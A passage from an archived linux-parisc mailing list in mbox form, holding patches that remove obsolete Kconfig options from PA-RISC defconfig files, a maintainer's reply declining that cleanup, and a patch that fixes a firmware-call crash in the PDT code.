 CONFIG_CRYPTO_TEST=m
 CONFIG_CRYPTO_HMAC=y
diff --git a/arch/parisc/configs/b180_defconfig b/arch/parisc/configs/b180_defconfig
index f1a0c25bef8d..0eca8208591c 100644
--- a/arch/parisc/configs/b180_defconfig
+++ b/arch/parisc/configs/b180_defconfig
@@ -25,7 +25,6 @@ CONFIG_INET=y
 CONFIG_IP_MULTICAST=y
 CONFIG_IP_PNP=y
 CONFIG_IP_PNP_BOOTP=y
-# CONFIG_INET_LRO is not set
 CONFIG_IPV6=y
 CONFIG_UEVENT_HELPER_PATH="/sbin/hotplug"
 CONFIG_DEVTMPFS=y
@@ -71,7 +70,6 @@ CONFIG_SERIAL_8250_SHARE_IRQ=y
 CONFIG_PRINTER=y
 # CONFIG_HW_RANDOM is not set
 # CONFIG_HWMON is not set
-CONFIG_VIDEO_OUTPUT_CONTROL=m
 CONFIG_FB=y
 CONFIG_FRAMEBUFFER_CONSOLE=y
 CONFIG_LOGO=y
@@ -105,6 +103,5 @@ CONFIG_NLS_UTF8=m
 CONFIG_MAGIC_SYSRQ=y
 CONFIG_HEADERS_CHECK=y
 CONFIG_DEBUG_KERNEL=y
-# CONFIG_RCU_CPU_STALL_DETECTOR is not set
 CONFIG_SECURITY=y
 # CONFIG_CRYPTO_ANSI_CPRNG is not set
diff --git a/arch/parisc/configs/c3000_defconfig b/arch/parisc/configs/c3000_defconfig
index 8e8f0e34f817..8337f5adf414 100644
--- a/arch/parisc/configs/c3000_defconfig
+++ b/arch/parisc/configs/c3000_defconfig
@@ -1,4 +1,3 @@
-CONFIG_EXPERIMENTAL=y
 # CONFIG_LOCALVERSION_AUTO is not set
 CONFIG_SYSVIPC=y
 CONFIG_IKCONFIG=y
@@ -31,13 +30,11 @@ CONFIG_INET=y
 CONFIG_IP_MULTICAST=y
 CONFIG_IP_PNP=y
 CONFIG_IP_PNP_BOOTP=y
-# CONFIG_INET_LRO is not set
 # CONFIG_INET_DIAG is not set
 CONFIG_INET6_IPCOMP=m
 CONFIG_IPV6_TUNNEL=m
 CONFIG_NETFILTER=y
 CONFIG_NETFILTER_DEBUG=y
-CONFIG_IP_NF_QUEUE=m
 CONFIG_NET_PKTGEN=m
 CONFIG_UEVENT_HELPER_PATH="/sbin/hotplug"
 CONFIG_DEVTMPFS=y
@@ -111,7 +108,6 @@ CONFIG_SERIAL_8250_SHARE_IRQ=y
 # CONFIG_HW_RANDOM is not set
 CONFIG_RAW_DRIVER=y
 # CONFIG_HWMON is not set
-CONFIG_VIDEO_OUTPUT_CONTROL=m
 CONFIG_FB=y
 CONFIG_FRAMEBUFFER_CONSOLE=y
 CONFIG_LOGO=y
@@ -165,7 +161,6 @@ CONFIG_HEADERS_CHECK=y
 CONFIG_DEBUG_KERNEL=y
 CONFIG_DEBUG_MUTEXES=y
 # CONFIG_DEBUG_BUGVERBOSE is not set
-# CONFIG_RCU_CPU_STALL_DETECTOR is not set
 CONFIG_CRYPTO_NULL=m
 CONFIG_CRYPTO_TEST=m
 CONFIG_CRYPTO_MD5=m
diff --git a/arch/parisc/configs/default_defconfig b/arch/parisc/configs/default_defconfig
index 310b6657e4ac..e28e3acbdff3 100644
--- a/arch/parisc/configs/default_defconfig
+++ b/arch/parisc/configs/default_defconfig
@@ -1,4 +1,3 @@
-CONFIG_EXPERIMENTAL=y
 # CONFIG_LOCALVERSION_AUTO is not set
 CONFIG_SYSVIPC=y
 CONFIG_POSIX_MQUEUE=y
@@ -41,7 +40,6 @@ CONFIG_IP_PNP_DHCP=y
 CONFIG_IP_PNP_BOOTP=y
 CONFIG_INET_AH=m
 CONFIG_INET_ESP=m
-# CONFIG_INET_LRO is not set
 CONFIG_INET_DIAG=m
 CONFIG_IPV6=y
 CONFIG_INET6_AH=y
@@ -114,7 +112,6 @@ CONFIG_PRINTER=m
 CONFIG_PPDEV=m
 # CONFIG_HW_RANDOM is not set
 # CONFIG_HWMON is not set
-CONFIG_VIDEO_OUTPUT_CONTROL=m
 CONFIG_FB=y
 CONFIG_FB_MODE_HELPERS=y
 CONFIG_FB_TILEBLITTING=y
@@ -151,7 +148,6 @@ CONFIG_USB_UHCI_HCD=y
 CONFIG_EXT2_FS=y
 CONFIG_EXT3_FS=y
 # CONFIG_EXT3_FS_XATTR is not set
-CONFIG_AUTOFS_FS=y
 CONFIG_ISO9660_FS=y
 CONFIG_JOLIET=y
 CONFIG_VFAT_FS=y
@@ -209,7 +205,6 @@ CONFIG_DEBUG_FS=y
 CONFIG_HEADERS_CHECK=y
 CONFIG_DEBUG_KERNEL=y
 CONFIG_DEBUG_MUTEXES=y
-# CONFIG_RCU_CPU_STALL_DETECTOR is not set
 CONFIG_KEYS=y
 CONFIG_CRYPTO_NULL=m
 CONFIG_CRYPTO_TEST=m
diff --git a/arch/parisc/configs/generic-32bit_defconfig b/arch/parisc/configs/generic-32bit_defconfig
index 8688ba7f5966..80aa10a9016e 100644
--- a/arch/parisc/configs/generic-32bit_defconfig
+++ b/arch/parisc/configs/generic-32bit_defconfig
@@ -49,7 +49,6 @@ CONFIG_INET_ESP=m
 # CONFIG_INET_XFRM_MODE_TRANSPORT is not set
 # CONFIG_INET_XFRM_MODE_TUNNEL is not set
 # CONFIG_INET_XFRM_MODE_BEET is not set
-# CONFIG_INET_LRO is not set
 CONFIG_INET_DIAG=m
 CONFIG_LLC2=m
 # CONFIG_WIRELESS is not set
@@ -152,7 +151,6 @@ CONFIG_I2C=y
 CONFIG_POWER_SUPPLY=y
 # CONFIG_HWMON is not set
 CONFIG_AGP=y
-CONFIG_VIDEO_OUTPUT_CONTROL=y
 CONFIG_FB=y
 CONFIG_FB_FOREIGN_ENDIAN=y
 CONFIG_FB_MODE_HELPERS=y
-- 
2.7.4



From - Thu Nov 08 21:40:02 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [RESEND PATCH] parisc: defconfig: Cleanup from old Kconfig
 options
Date: Sun, 23 Jul 2017 22:07:46 +0200
Lines: 253
Approved: news@gmane.org
Message-ID: <85b77979-cbfe-434e-b2ec-d937bcbed5d0@gmx.de>
References: <1500526814-3900-1-git-send-email-krzk@kernel.org>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=windows-1252
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1500840479 19882 195.159.176.226 (23 Jul 2017 20:07:59 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sun, 23 Jul 2017 20:07:59 +0000 (UTC)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101
 Thunderbird/45.8.0
Cc: "James E.J. Bottomley" <jejb@parisc-linux.org>,
        linux-parisc@vger.kernel.org
To: Krzysztof Kozlowski <krzk@kernel.org>, linux-kernel@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Jul 23 22:07:55 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1dZNAK-0004ei-Uh
	for glpp-linux-parisc@m.gmane.org; Sun, 23 Jul 2017 22:07:49 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751461AbdGWUHy (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Sun, 23 Jul 2017 16:07:54 -0400
Original-Received: from mout.gmx.net ([212.227.17.22]:55408 "EHLO mout.gmx.net"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1751455AbdGWUHw (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
        Sun, 23 Jul 2017 16:07:52 -0400
Original-Received: from [192.168.20.60] ([193.159.18.86]) by mail.gmx.com (mrgmx101
 [212.227.17.168]) with ESMTPSA (Nemesis) id 0MbbWD-1dGTP41i2X-00IyaK; Sun, 23
 Jul 2017 22:07:47 +0200
In-Reply-To: <1500526814-3900-1-git-send-email-krzk@kernel.org>
X-Provags-ID: V03:K0:HRUNnP+IdlVLMh5JtyDs8Zy75ExuYVL4k8Qng7a9K5G1+Lvru26
 GVJzphMuNLrPSJQc6GyyDE8OXny9mYU7KREPW6/T7kFMbcp2TeY4DtLHmjNpVmzMOF0Cnz0
 XI2uCEtsnVdebUUOwqdaq0zAuXIgI2VqYKBQ2ZozYEKpb3Y96556y+SwkXxSDA0NO7opkl8
 +BWKR18OOUxSTB+DXpnTg==
X-UI-Out-Filterresults: notjunk:1;V01:K0:TeOZtkhMXa4=:kWbdeMSVy4HN0btW+ylces
 AafmWkumqSb6KJWhuhpFQJaLClcntdnAXw3xBo7C0/A7HucxZC5fU8i1LBnsqx5CeX7b2+m8H
 8N8nFu4fACH8sUFs1ySW92ffmXqF17zISwBDN6/HO9XVa8jQFrhAtm3w3HBnLy2VZsWQ1xyUI
 GGoAzYTwj7P004CpUPrSRpQtYVPgro6bbvM9cRsnppvVGYZCWeaRlu06j4eioElyc/tC321ZR
 jKRkg2pg5evqDYz3rgB4o60Vf4Wv6haoTHt3ELtkk9bw2RT0Q+TMjxpHSSDgd91+4+PusLtif
 ejNuT3vjxYWogzF9Rsc1oJbTjQ3EnZyiaCJ49HEEu/0je1hLfVTVBs/Lh6EKqZSXmoU2BvGS3
 cBHu1sDXgDqbUGGQUqiK2UKmHFWsAxYTnQssjUkpqX6lmDHxeSXa69uuXBu7ySLczESIg6QpN
 6nbN2TaA3LRB2br2AvIz71zDxgS/3QISPQxCUN3tAfPm5wCw6ZOqldfVTMg5mQKnOi9H2R+/E
 AZS6z7xQcex6k/0jn7QlhZjJhPfKXPOlHOzTMKvfw36uY7MvBtCx76FnVaX/YxU3bwlfXwBAG
 bR/S2xSUcvJZrF5WTfnddY6AUXvU69LVTdvXarljclPl40M+312FxRRGLnokhJRQZADur4IDk
 yhdQQJq3K05oNq9G2lpWhh2xhBo4AbO84f9axxOqbKkLYInAcNDhbZQhjfvcVMKRV4G+lIxl5
 cf3ZbRhMfZZbKLzvA2G5XRCkkNNbPw09PGj8OJ9Uh3auxHgMsxjU8Awj9jBi2gaf2d9f3DOm 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27581 gmane.linux.kernel:2530586
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27581>

On 20.07.2017 07:00, Krzysztof Kozlowski wrote:
> Remove old, dead Kconfig options (in order appearing in this commit):
>  - EXPERIMENTAL is gone since v3.9;
>  - INET_LRO: commit 7bbf3cae65b6 ("ipv4: Remove inet_lro library");
>  - IP_NF_QUEUE: commit 3dd6664fac7e ("netfilter: remove unused "config
>    IP_NF_QUEUE"");
>  - VIDEO_OUTPUT_CONTROL: commit f167a64e9d67 ("video / output: Drop
>    display output class support");
>  - RCU_CPU_STALL_DETECTOR: commit a00e0d714fbd ("rcu: Remove conditional
>    compilation for RCU CPU stall warnings");
>  - IP_NF_TARGET_ULOG: commit d4da843e6fad ("netfilter: kill remnants of
>    ulog targets");
>  - IP6_NF_TARGET_LOG: commit 6939c33a757b ("netfilter: merge ipt_LOG and
>    ip6_LOG into xt_LOG");
>  - AUTOFS_FS: commit 561c5cf9236a ("staging: Remove autofs3");
> 
> Signed-off-by: Krzysztof Kozlowski <krzk@kernel.org>

Hi Krzysztof,

Thanks for your work, but I'm planning to regenerate those config
files anyway, and thus those options will go away anyway. 

Helge


> ---
>  arch/parisc/configs/712_defconfig           | 5 -----
>  arch/parisc/configs/a500_defconfig          | 6 ------
>  arch/parisc/configs/b180_defconfig          | 3 ---
>  arch/parisc/configs/c3000_defconfig         | 5 -----
>  arch/parisc/configs/default_defconfig       | 5 -----
>  arch/parisc/configs/generic-32bit_defconfig | 2 --
>  6 files changed, 26 deletions(-)
> 
> diff --git a/arch/parisc/configs/712_defconfig b/arch/parisc/configs/712_defconfig
> index 143d02652792..493e03c2a219 100644
> --- a/arch/parisc/configs/712_defconfig
> +++ b/arch/parisc/configs/712_defconfig
> @@ -1,4 +1,3 @@
> -CONFIG_EXPERIMENTAL=y
>  # CONFIG_LOCALVERSION_AUTO is not set
>  CONFIG_SYSVIPC=y
>  CONFIG_POSIX_MQUEUE=y
> @@ -32,11 +31,9 @@ CONFIG_IP_PNP_DHCP=y
>  CONFIG_IP_PNP_BOOTP=y
>  CONFIG_INET_AH=m
>  CONFIG_INET_ESP=m
> -# CONFIG_INET_LRO is not set
>  CONFIG_INET_DIAG=m
>  # CONFIG_IPV6 is not set
>  CONFIG_NETFILTER=y
> -CONFIG_IP_NF_QUEUE=m
>  CONFIG_LLC2=m
>  CONFIG_NET_PKTGEN=m
>  CONFIG_UEVENT_HELPER_PATH="/sbin/hotplug"
> @@ -94,7 +91,6 @@ CONFIG_PPDEV=m
>  # CONFIG_HW_RANDOM is not set
>  CONFIG_RAW_DRIVER=y
>  # CONFIG_HWMON is not set
> -CONFIG_VIDEO_OUTPUT_CONTROL=m
>  CONFIG_FB=y
>  CONFIG_FB_MODE_HELPERS=y
>  CONFIG_FB_TILEBLITTING=y
> @@ -181,7 +177,6 @@ CONFIG_MAGIC_SYSRQ=y
>  CONFIG_DEBUG_FS=y
>  CONFIG_DEBUG_KERNEL=y
>  CONFIG_DEBUG_MUTEXES=y
> -# CONFIG_RCU_CPU_STALL_DETECTOR is not set
>  CONFIG_CRYPTO_NULL=m
>  CONFIG_CRYPTO_TEST=m
>  CONFIG_CRYPTO_HMAC=y
> diff --git a/arch/parisc/configs/a500_defconfig b/arch/parisc/configs/a500_defconfig
> index 1a4f776b49b8..8d67e2373920 100644
> --- a/arch/parisc/configs/a500_defconfig
> +++ b/arch/parisc/configs/a500_defconfig
> @@ -1,4 +1,3 @@
> -CONFIG_EXPERIMENTAL=y
>  # CONFIG_LOCALVERSION_AUTO is not set
>  CONFIG_SYSVIPC=y
>  CONFIG_POSIX_MQUEUE=y
> @@ -43,21 +42,18 @@ CONFIG_IP_PNP_DHCP=y
>  CONFIG_IP_PNP_BOOTP=y
>  CONFIG_INET_AH=m
>  CONFIG_INET_ESP=m
> -# CONFIG_INET_LRO is not set
>  CONFIG_INET6_AH=m
>  CONFIG_INET6_ESP=m
>  CONFIG_INET6_IPCOMP=m
>  CONFIG_IPV6_TUNNEL=m
>  CONFIG_NETFILTER=y
>  # CONFIG_NETFILTER_XT_MATCH_DCCP is not set
> -CONFIG_IP_NF_QUEUE=m
>  CONFIG_IP_NF_IPTABLES=m
>  CONFIG_IP_NF_MATCH_ECN=m
>  CONFIG_IP_NF_MATCH_TTL=m
>  CONFIG_IP_NF_FILTER=m
>  CONFIG_IP_NF_TARGET_REJECT=m
>  CONFIG_IP_NF_TARGET_LOG=m
> -CONFIG_IP_NF_TARGET_ULOG=m
>  CONFIG_IP_NF_MANGLE=m
>  CONFIG_IP_NF_TARGET_ECN=m
>  CONFIG_IP_NF_RAW=m
> @@ -70,7 +66,6 @@ CONFIG_IP6_NF_MATCH_OPTS=m
>  CONFIG_IP6_NF_MATCH_HL=m
>  CONFIG_IP6_NF_MATCH_IPV6HEADER=m
>  CONFIG_IP6_NF_MATCH_RT=m
> -CONFIG_IP6_NF_TARGET_LOG=m
>  CONFIG_IP6_NF_FILTER=m
>  CONFIG_IP6_NF_TARGET_REJECT=m
>  CONFIG_IP6_NF_MANGLE=m
> @@ -192,7 +187,6 @@ CONFIG_DEBUG_FS=y
>  CONFIG_HEADERS_CHECK=y
>  CONFIG_DEBUG_KERNEL=y
>  # CONFIG_DEBUG_BUGVERBOSE is not set
> -# CONFIG_RCU_CPU_STALL_DETECTOR is not set
>  CONFIG_CRYPTO_NULL=m
>  CONFIG_CRYPTO_TEST=m
>  CONFIG_CRYPTO_HMAC=y
> diff --git a/arch/parisc/configs/b180_defconfig b/arch/parisc/configs/b180_defconfig
> index f1a0c25bef8d..0eca8208591c 100644
> --- a/arch/parisc/configs/b180_defconfig
> +++ b/arch/parisc/configs/b180_defconfig
> @@ -25,7 +25,6 @@ CONFIG_INET=y
>  CONFIG_IP_MULTICAST=y
>  CONFIG_IP_PNP=y
>  CONFIG_IP_PNP_BOOTP=y
> -# CONFIG_INET_LRO is not set
>  CONFIG_IPV6=y
>  CONFIG_UEVENT_HELPER_PATH="/sbin/hotplug"
>  CONFIG_DEVTMPFS=y
> @@ -71,7 +70,6 @@ CONFIG_SERIAL_8250_SHARE_IRQ=y
>  CONFIG_PRINTER=y
>  # CONFIG_HW_RANDOM is not set
>  # CONFIG_HWMON is not set
> -CONFIG_VIDEO_OUTPUT_CONTROL=m
>  CONFIG_FB=y
>  CONFIG_FRAMEBUFFER_CONSOLE=y
>  CONFIG_LOGO=y
> @@ -105,6 +103,5 @@ CONFIG_NLS_UTF8=m
>  CONFIG_MAGIC_SYSRQ=y
>  CONFIG_HEADERS_CHECK=y
>  CONFIG_DEBUG_KERNEL=y
> -# CONFIG_RCU_CPU_STALL_DETECTOR is not set
>  CONFIG_SECURITY=y
>  # CONFIG_CRYPTO_ANSI_CPRNG is not set
> diff --git a/arch/parisc/configs/c3000_defconfig b/arch/parisc/configs/c3000_defconfig
> index 8e8f0e34f817..8337f5adf414 100644
> --- a/arch/parisc/configs/c3000_defconfig
> +++ b/arch/parisc/configs/c3000_defconfig
> @@ -1,4 +1,3 @@
> -CONFIG_EXPERIMENTAL=y
>  # CONFIG_LOCALVERSION_AUTO is not set
>  CONFIG_SYSVIPC=y
>  CONFIG_IKCONFIG=y
> @@ -31,13 +30,11 @@ CONFIG_INET=y
>  CONFIG_IP_MULTICAST=y
>  CONFIG_IP_PNP=y
>  CONFIG_IP_PNP_BOOTP=y
> -# CONFIG_INET_LRO is not set
>  # CONFIG_INET_DIAG is not set
>  CONFIG_INET6_IPCOMP=m
>  CONFIG_IPV6_TUNNEL=m
>  CONFIG_NETFILTER=y
>  CONFIG_NETFILTER_DEBUG=y
> -CONFIG_IP_NF_QUEUE=m
>  CONFIG_NET_PKTGEN=m
>  CONFIG_UEVENT_HELPER_PATH="/sbin/hotplug"
>  CONFIG_DEVTMPFS=y
> @@ -111,7 +108,6 @@ CONFIG_SERIAL_8250_SHARE_IRQ=y
>  # CONFIG_HW_RANDOM is not set
>  CONFIG_RAW_DRIVER=y
>  # CONFIG_HWMON is not set
> -CONFIG_VIDEO_OUTPUT_CONTROL=m
>  CONFIG_FB=y
>  CONFIG_FRAMEBUFFER_CONSOLE=y
>  CONFIG_LOGO=y
> @@ -165,7 +161,6 @@ CONFIG_HEADERS_CHECK=y
>  CONFIG_DEBUG_KERNEL=y
>  CONFIG_DEBUG_MUTEXES=y
>  # CONFIG_DEBUG_BUGVERBOSE is not set
> -# CONFIG_RCU_CPU_STALL_DETECTOR is not set
>  CONFIG_CRYPTO_NULL=m
>  CONFIG_CRYPTO_TEST=m
>  CONFIG_CRYPTO_MD5=m
> diff --git a/arch/parisc/configs/default_defconfig b/arch/parisc/configs/default_defconfig
> index 310b6657e4ac..e28e3acbdff3 100644
> --- a/arch/parisc/configs/default_defconfig
> +++ b/arch/parisc/configs/default_defconfig
> @@ -1,4 +1,3 @@
> -CONFIG_EXPERIMENTAL=y
>  # CONFIG_LOCALVERSION_AUTO is not set
>  CONFIG_SYSVIPC=y
>  CONFIG_POSIX_MQUEUE=y
> @@ -41,7 +40,6 @@ CONFIG_IP_PNP_DHCP=y
>  CONFIG_IP_PNP_BOOTP=y
>  CONFIG_INET_AH=m
>  CONFIG_INET_ESP=m
> -# CONFIG_INET_LRO is not set
>  CONFIG_INET_DIAG=m
>  CONFIG_IPV6=y
>  CONFIG_INET6_AH=y
> @@ -114,7 +112,6 @@ CONFIG_PRINTER=m
>  CONFIG_PPDEV=m
>  # CONFIG_HW_RANDOM is not set
>  # CONFIG_HWMON is not set
> -CONFIG_VIDEO_OUTPUT_CONTROL=m
>  CONFIG_FB=y
>  CONFIG_FB_MODE_HELPERS=y
>  CONFIG_FB_TILEBLITTING=y
> @@ -151,7 +148,6 @@ CONFIG_USB_UHCI_HCD=y
>  CONFIG_EXT2_FS=y
>  CONFIG_EXT3_FS=y
>  # CONFIG_EXT3_FS_XATTR is not set
> -CONFIG_AUTOFS_FS=y
>  CONFIG_ISO9660_FS=y
>  CONFIG_JOLIET=y
>  CONFIG_VFAT_FS=y
> @@ -209,7 +205,6 @@ CONFIG_DEBUG_FS=y
>  CONFIG_HEADERS_CHECK=y
>  CONFIG_DEBUG_KERNEL=y
>  CONFIG_DEBUG_MUTEXES=y
> -# CONFIG_RCU_CPU_STALL_DETECTOR is not set
>  CONFIG_KEYS=y
>  CONFIG_CRYPTO_NULL=m
>  CONFIG_CRYPTO_TEST=m
> diff --git a/arch/parisc/configs/generic-32bit_defconfig b/arch/parisc/configs/generic-32bit_defconfig
> index 8688ba7f5966..80aa10a9016e 100644
> --- a/arch/parisc/configs/generic-32bit_defconfig
> +++ b/arch/parisc/configs/generic-32bit_defconfig
> @@ -49,7 +49,6 @@ CONFIG_INET_ESP=m
>  # CONFIG_INET_XFRM_MODE_TRANSPORT is not set
>  # CONFIG_INET_XFRM_MODE_TUNNEL is not set
>  # CONFIG_INET_XFRM_MODE_BEET is not set
> -# CONFIG_INET_LRO is not set
>  CONFIG_INET_DIAG=m
>  CONFIG_LLC2=m
>  # CONFIG_WIRELESS is not set
> @@ -152,7 +151,6 @@ CONFIG_I2C=y
>  CONFIG_POWER_SUPPLY=y
>  # CONFIG_HWMON is not set
>  CONFIG_AGP=y
> -CONFIG_VIDEO_OUTPUT_CONTROL=y
>  CONFIG_FB=y
>  CONFIG_FB_FOREIGN_ENDIAN=y
>  CONFIG_FB_MODE_HELPERS=y
> 

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:02 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: Fix crash when calling PDC_PAT_MEM PDT firmware
 function
Date: Tue, 25 Jul 2017 18:20:54 +0200
Lines: 64
Approved: news@gmane.org
Message-ID: <20170725162054.GA12452@p100.box>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1500999680 7996 195.159.176.226 (25 Jul 2017 16:21:20 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 25 Jul 2017 16:21:20 +0000 (UTC)
User-Agent: Mutt/1.5.23 (2014-03-12)
To: linux-parisc@vger.kernel.org,
        James Bottomley <James.Bottomley@HansenPartnership.com>,
        John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Jul 25 18:21:11 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1da2a0-0002qf-IK
	for glpp-linux-parisc@m.gmane.org; Tue, 25 Jul 2017 18:21:04 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1752381AbdGYQVK (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Tue, 25 Jul 2017 12:21:10 -0400
Original-Received: from mout.gmx.net ([212.227.17.22]:50358 "EHLO mout.gmx.net"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1752300AbdGYQVJ (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
        Tue, 25 Jul 2017 12:21:09 -0400
Original-Received: from p100.box ([193.159.17.88]) by mail.gmx.com (mrgmx102
 [212.227.17.168]) with ESMTPSA (Nemesis) id 0Lj4xG-1e9uUg2Wo2-00dHN7; Tue, 25
 Jul 2017 18:20:56 +0200
Content-Disposition: inline
X-Provags-ID: V03:K0:HYXIb8eaq2P30u4Ly3g+b84Mjvm1snLQTe/5byKoXaqGZP6inly
 PM52aVYInIDXx7EYB5JiZ3VwjnV94thkjV6NmMdf2C/qrF7shUxO/z5HmwpxzXD+5e1JbDz
 H6DpeS39jtzulKzYDf27/vXdH7hhu7WzRHzB03JlWKFcfZxxTCG0wmp5qZPrWG5SSTCYJcZ
 NtWDfso6xNzrcx4nzZzrg==
X-UI-Out-Filterresults: notjunk:1;V01:K0:mZScjLwcNE0=:K5l+RA86uhUzsmjKA4Sf2l
 A7FCDMa7SHdbSeFhLWLeCJafQobpQjgULe+m0p69FiRzHDpekYtzcYGHUI7Qvcfapl5D9aTXp
 EygTAtooXWUkBJu9Vrhe/ORXpUH9ZG4y6OLnMebbjHDf9t82hLc6sfnX8/fUJZcFXPQ7p74Jh
 mtpZtyLd1+a/bnRhKTnU0gHGnW4sdZio6ei1gmcHFZsTMefiHWinLPqri+C1Us4Wlmy4iIdiv
 Ityv/Rmz+E4QUbqKbMvuJ9ayclcacne3kUInf9aghtLT+zOPs21t08vIqKOCwlqZn+eide3hk
 tbmlt/Aqesn6vftdb1S59XHFzyXpk1+qf9CkwRnydxjjeZEIdnzUoLyJ901o+hQ/yLqjxA6Uw
 P/Kuqzzk8m5u11DjfwvK2s2Qn0/LWRm0wzkr0HeGWqhKfDun/azUrS/HQxxyDgeZWW/a5GQBR
 3qxLXwNlgPfn7Gfce62fvnQKI0rKB8qus+ETWrRrfPlpb87rvIYlnbXbdqLKHARnes7d8FMfO
 Z9lFW61GDplz7Vrh3RH2RFN8jPW4q0HtRw9HOIT0OrpDl3rlWScVwrkZIDnJ2IiAg5RRAQo+Y
 qaot+CEoJmynInWIPK1cU0XEJP4Om+f59my1b6UZ4hVZ9+xHNCXdHfhgO30tLY/ZqmZlMEvHD
 +cX8tRe1Pl6XLl8tiBzk5P9KgRewzD0kmWnMFMoZnczluWnVbgOtAfPB/1al2lNhStqlXOh+0
 qvOXvrH5l7FsP6/NqNnp63CXs5RlLN/8CgwZ6DMuloieerj5cb6PyL/62YRzRXmzE9YzM2Nz 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27582
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27582>

Commit c9c2877d08d9 ("parisc: Add Page Deallocation Table (PDT) support")
introduced the pdc_pat_mem_read_pd_pdt() firmware helper function, which
crashed the system because it trashed the stack if the
pdc_pat_mem_read_pd_retinfo struct was located on the stack (and which is
in size less than the required 32 64-bit values).

Fix it by using the pdc_result struct instead when calling firmware and copy
the return values back into the result struct when finished sucessfully.

While debugging this code I noticed that the pdc_type wasn't set correctly
either, so let's fix that too.

Fixes: c9c2877d08d9 ("parisc: Add Page Deallocation Table (PDT) support")
Signed-off-by: Helge Deller <deller@gmx.de>

diff --git a/arch/parisc/kernel/firmware.c b/arch/parisc/kernel/firmware.c
index 9819025..526ed90 100644
--- a/arch/parisc/kernel/firmware.c
+++ b/arch/parisc/kernel/firmware.c
@@ -1481,12 +1481,19 @@ int pdc_pat_mem_read_pd_pdt(struct pdc_pat_mem_read_pd_retinfo *pret,
 		unsigned long offset)
 {
 	int retval;
-	unsigned long flags;
+	unsigned long flags, entries;
 
 	spin_lock_irqsave(&pdc_lock, flags);
 	retval = mem_pdc_call(PDC_PAT_MEM, PDC_PAT_MEM_PD_READ,
-		__pa(&pret), __pa(pdt_entries_ptr),
+		__pa(&pdc_result), __pa(pdt_entries_ptr),
 		count, offset);
+
+	if (retval == PDC_OK) {
+		entries = min(pdc_result[0], count);
+		pret->actual_count_bytes = entries;
+		pret->pdt_entries = entries / sizeof(unsigned long);
+	}
+
 	spin_unlock_irqrestore(&pdc_lock, flags);
 
 	return retval;
diff --git a/arch/parisc/kernel/pdt.c b/arch/parisc/kernel/pdt.c
index f3a797e..be8bed60 100644
--- a/arch/parisc/kernel/pdt.c
+++ b/arch/parisc/kernel/pdt.c
@@ -112,10 +112,12 @@ void __init pdc_pdt_init(void)
 #ifdef CONFIG_64BIT
 		struct pdc_pat_mem_read_pd_retinfo pat_pret;
 
+		/* try old obsolete PAT firmware function first */
+		pdt_type = PDT_PAT_OLD;
 		ret = pdc_pat_mem_read_cell_pdt(&pat_pret, pdt_entry,
 			MAX_PDT_ENTRIES);
 		if (ret != PDC_OK) {
-			pdt_type = PDT_PAT_OLD;
+			pdt_type = PDT_PAT_NEW;
 			ret = pdc_pat_mem_read_pd_pdt(&pat_pret, pdt_entry,
 				MAX_PDT_TABLE_SIZE, 0);
 		}
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:02 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: Add function to return DIMM slot of physical address
Date: Tue, 25 Jul 2017 19:26:23 +0200
Lines: 88
